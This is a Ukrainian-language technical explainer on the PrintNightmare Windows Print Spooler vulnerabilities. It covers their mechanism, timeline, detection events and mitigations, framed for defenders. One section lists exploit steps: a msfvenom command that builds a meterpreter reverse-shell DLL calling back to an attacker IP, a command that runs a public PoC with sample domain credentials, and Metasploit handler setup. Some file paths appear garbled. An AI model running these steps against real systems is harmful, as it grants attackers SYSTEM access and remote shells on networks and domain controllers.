PrintNightmare (CVE-2021-1675 / CVE-2021-34527): RCE у Windows Print Spooler
Огляд
У червні 2021 дослідники випадково злили на GitHub PoC для вразливості у Windows Print Spooler (служба spoolsv.exe). Вразливість дозволяла: непривілейований локальний користувач → SYSTEM, а в деяких конфігураціях — будь-який автентифікований мережевий користувач → RCE від SYSTEM.
Microsoft поспішно видала патч для CVE-2021-1675 (LPE), але PoC покривав інший, ненапатчений вектор — CVE-2021-34527 (RCE). Ця плутанина залишила тисячі систем відкритими ще тижні після "офіційного патчу".
Вразлива служба: Windows Print Spooler
spoolsv.exe — служба Windows, що керує принтерами. Запускається як SYSTEM на всіх Windows-системах (включно з DC).
Ключова функція: RpcAddPrinterDriverEx() — додає новий драйвер принтера. Не перевіряла права: будь-який автентифікований користувач міг додати DLL як "драйвер".
Нормальний потік:
Адміністратор → RpcAddPrinterDriverEx() → завантажити DLL як SYSTEM
Exploit:
Звичайний юзер → RpcAddPrinterDriverEx() → завантажити шкідливу DLL як SYSTEM
Технічні деталі
CVE-2021-1675 — Local Privilege Escalation
- Локальний вектор атаки
- Зловживання
AddPrinterDriverExз параметромAPD_INSTALL_WARNED_DRIVER - Шлях до DLL вказується локально:
C:\malicious\evil.dll - Результат: DLL завантажується від імені SYSTEM
CVE-2021-34527 — Remote Code Execution
- Мережевий вектор (через SMB або named pipe)
- Атакуючий вказує UNC-шлях:
\attacker\share\evil.dll - Служба Spooler завантажує DLL з мережевої шари
- Результат: RCE від SYSTEM без локального доступу
Чому DC особливо критичний
Domain Controller також запускає Print Spooler за замовчуванням. Будь-який доменний юзер → SYSTEM на DC → повний компроміс домену.
Хронологія
| Дата | Подія |
|---|---|
| 2021-06-08 | Microsoft патчує CVE-2021-1675 як LPE (оцінка: Important, не Critical) |
| 2021-06-29 | Дослідники QiAnXin помилково публікують PoC на GitHub, швидко видаляють |
| 2021-06-30 | PoC вже розтиражований, Microsoft присвоює CVE-2021-34527 для RCE-вектора |
| 2021-07-01 | CISA випускає екстрений Alert AA21-182A |
| 2021-07-06 | Microsoft випускає out-of-band патч для CVE-2021-34527 |
| 2021-07-07 | Перші атаки ransomware-груп (Magniber, Vice Society) з використанням уразливості |
Умови для успішної атаки
LPE (CVE-2021-1675)
- Локальний доступ до системи (будь-який user)
- Print Spooler запущений
RCE (CVE-2021-34527)
- Мережевий доступ + доменна автентифікація
- Print Spooler запущений
- SMB-підключення дозволено (445/TCP)
- Ціль може підключитись до SMB-шарі атакуючого (або файл доступний інакше)
Exploit: кроки (LPE, для розуміння)
# 1. Підготувати шкідливу DLL (msfvenom або власна)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f dll -o evil.dll
# 2. Розмістити DLL у доступному місці
Copy-Item evil.dll C:\Windows\System32\spool\driversd
# 3. Запустити PoC (наприклад, cube0x0/CVE-2021-1675)
python3 CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\192.168.1.1\smb?ddCube.dll'
# 4. Отримати SYSTEM shell
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
Виявлення
Event Logs
Event ID 808 — Print Spooler: завантаження нового драйвера
Event ID 316 — завантаження kernel driver
Шукай незвичні DLL-шляхи у C:\Windows\System32\spool\drivers\.
PowerShell — перевірка статусу Spooler
Get-Service -Name Spooler
# або через WMI
Get-WmiObject Win32_Service -Filter "Name='Spooler'"
Sysmon
Event ID 7 — ImageLoaded (DLL завантажена в spoolsv.exe)
Event ID 1 — ProcessCreate (дочірній процес від spoolsv.exe)
Mitigation та Захист
Терміновий workaround (якщо патч неможливий)
# Зупинити і вимкнути Print Spooler
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
Важливо: на контролері домену Print Spooler не потрібен для більшості організацій.
Обмежити Point and Print
Group Policy:
Computer Configuration → Administrative Templates →
Printers → Point and Print Restrictions
→ Enabled, "Users can only point and print to these servers"
Застосувати патч
- KB5004945 (Windows 10/Server 2019)
- KB5004946, KB5004947... (відповідно до версії ОС)
Вплив та уроки
Постраждалі: всі Windows-системи з увімкненим Print Spooler — практично кожна корпоративна мережа.
Чому це важливо для захисників:
- Принцип мінімальних сервісів: Print Spooler на DC — архітектурна помилка. Вимикай все, що не потрібно.
- Патчинг vs workaround: коли патч недоступний — workaround (вимкнення служби) є прийнятним рішенням.
- Моніторинг spool-директорії: нові DLL у
C:\Windows\System32\spool\drivers\— підозрілий сигнал. - Швидкість реакції: від публікації PoC до перших атак пройшло < 7 днів.